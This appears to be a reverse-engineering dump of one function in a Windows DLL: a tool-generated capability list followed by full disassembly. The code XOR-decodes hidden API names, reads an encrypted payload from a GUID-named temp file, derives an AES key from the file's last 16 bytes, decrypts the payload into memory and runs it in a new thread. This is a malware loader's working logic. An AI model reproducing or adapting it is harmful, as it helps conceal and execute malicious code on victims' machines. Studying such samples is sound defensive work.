Function at 0x180001340
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Get file size
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows

Disassembly:
push rbp
push rbx
push r12
push r13
push r14
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov eax, dword [0x1800189b0]
movsd xmm0, qword [0x1800189a8]
movups xmm1, xmmword [0x1800189b8]
movzx ecx, word [0x1800189b4]
movzx r9d, word [0x1800189d4]
mov edx, dword [0x1800189d0]
movzx r8d, byte [0x1800189d6]
movzx r11d, word [0x1800189e4]
xor r8b, 0x34
mov r10d, dword [0x1800189e0]
movups xmmword [rsp + 0x70], xmm1
xor byte [rsp + 0x71], 0xa5
xor byte [rsp + 0x72], 0xbe
xor byte [rsp + 0x73], 0x60
xor byte [rsp + 0x74], 0xf1
xor byte [rsp + 0x75], 0xef
xor byte [rsp + 0x76], 0xaf
xor byte [rsp + 0x77], 0xf4
xor byte [rsp + 0x78], 0xa2
xor byte [rsp + 0x79], 0x1c
xor byte [rsp + 0x7a], 0xde
xor byte [rsp + 0x7b], 0x9a
xor byte [rsp + 0x7c], 0xc5
xor byte [rsp + 0x7d], 0x4b
xor byte [rsp + 0x7e], 0x34
xor byte [rsp + 0x7f], 0xbb
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [0x1800189c8]
xor byte [rsp + 0x40], 0x88
xor byte [rsp + 0x41], 0xa5
xor byte [rsp + 0x42], 0xbe
xor byte [rsp + 0x43], 0x60
xor byte [rsp + 0x44], 0xf1
xor byte [rsp + 0x45], 0xef
xor byte [rsp + 0x46], 0xaf
xor byte [rsp + 0x47], 0xf4
movsd qword [rsp + 0x60], xmm0
movsd xmm0, qword [0x1800189d8]
xor byte [rsp + 0x60], 0x88
xor byte [rsp + 0x61], 0xa5
xor byte [rsp + 0x62], 0xbe
xor byte [rsp + 0x63], 0x60
xor byte [rsp + 0x64], 0xf1
xor byte [rsp + 0x65], 0xef
xor byte [rsp + 0x66], 0xaf
xor byte [rsp + 0x67], 0xf4
movsd qword [rsp + 0x50], xmm0
xor byte [rsp + 0x50], 0x88
xor byte [rsp + 0x51], 0xa5
xor byte [rsp + 0x52], 0xbe
xor byte [rsp + 0x53], 0x60
xor byte [rsp + 0x54], 0xf1
xor byte [rsp + 0x55], 0xef
xor byte [rsp + 0x56], 0xaf
mov dword [rsp + 0x48], eax
xor al, 0xa2
xor byte [rsp + 0x49], 0x1c
xor byte [rsp + 0x4a], 0xde
xor byte [rsp + 0x4b], 0x9a
mov dword [rsp + 0x68], edx
xor dl, 0xa2
xor byte [rsp + 0x69], 0x1c
xor byte [rsp + 0x6a], 0xde
xor byte [rsp + 0x6b], 0x9a
mov word [rsp + 0x4c], cx
xor cl, 0xc5
xor byte [rsp + 0x4d], 0x4b
mov word [rsp + 0x6c], r9w
xor r9b, 0xc5
xor byte [rsp + 0x6d], 0x4b
mov byte [rsp + 0x48], al
movd eax, xmm1
mov dword [rsp + 0x58], r10d
mov word [rsp + 0x5c], r11w
xor al, 0x88
mov byte [rsp + 0x4c], cl
xor byte [rsp + 0x57], 0xf4
mov byte [rsp + 0x70], al
mov byte [rsp + 0x68], dl
mov byte [rsp + 0x6c], r9b
mov byte [rsp + 0x6e], r8b
xor byte [rsp + 0x59], 0x1c
lea rcx, str.kernel32.dll
xor byte [rsp + 0x5a], 0xde
xor r10b, 0xa2
xor byte [rsp + 0x5b], 0x9a
xor r11b, 0xc5
xor byte [rsp + 0x5d], 0x4b
mov byte [rsp + 0x58], r10b
mov byte [rsp + 0x5c], r11b
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
lea r8, str.LOCALAPPDATA
lea rdx, [rbp - 0x80]
mov qword [rbp - 0x78], rbx
lea rcx, [rbp - 0x78]
mov qword [rbp - 0x80], rbx
mov r13, rax
call fcn.1800050bc
test eax, eax
jne 0x18000184c
mov r9, qword [rbp - 0x80]
test r9, r9
je 0x18000184c
mov r8, qword [rbp - 0x78]
lea rcx, [rbp - 0x60]
mov edx, 0x1f4
call fcn.180004de0
lea r8, str.Tempdaae7fe2_d6de_4b16_b773_9f7d572f7f8.tmp
mov edx, 0x1f4
lea rcx, [rbp - 0x60]
call fcn.180004ed0
mov qword [rsp + 0x30], rbx
lea rcx, [rbp - 0x60]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000184c
mov qword [rsp + 0x2b8], rsi
xor edx, edx
mov qword [rsp + 0x2b0], rdi
mov rcx, rax
mov qword [rsp + 0x2a8], r15
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r9d, 4
mov r8d, 0x3000
xor ecx, ecx
lea esi, [rax - 0x10]
mov edx, esi
mov r15d, esi
call r14
mov edx, 0x10
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
mov rdi, rax
call r14
xor r9d, r9d
mov qword [rsp + 0x20], 0
mov r8d, esi
mov rdx, rdi
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180001834
mov r9d, 2
xor r8d, r8d
mov edx, 0xfffffff0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
xor r9d, r9d
mov qword [rsp + 0x20], 0
mov r8d, 0x10
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180001834
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x180001834
mov r9d, 0x18
mov dword [rbp + 0x1f8], esi
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rbp + 0x200]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x1800017df
mov rcx, qword [rbp + 0x200]
lea rax, [rbp + 0x208]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1800017df
mov rcx, qword [rbp + 0x208]
xor r9d, r9d
mov r8d, 0x10
mov rdx, r14
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1800017df
mov r8, qword [rbp + 0x208]
lea rax, [rbp - 0x70]
mov rcx, qword [rbp + 0x200]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x1800017df
mov rcx, qword [rbp - 0x70]
lea rax, [rbp + 0x1f8]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x1800017df
mov rcx, qword [rbp + 0x200]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor ebx, ebx
lea r9, [rbp + 0x1f0]
mov r8d, 0x20
mov dword [rbp + 0x1f0], ebx
mov rdx, r15
mov rcx, rdi
call r12
cmp dword [rbp + 0x1f0], 4
jne 0x180001834
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov r8, rdi
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call r13
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x180001834
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rdi, qword [rsp + 0x2b0]
mov rsi, qword [rsp + 0x2b8]
mov r15, qword [rsp + 0x2a8]
add rsp, 0x2c0
pop r14
pop r13
pop r12
pop rbx
pop rbp
ret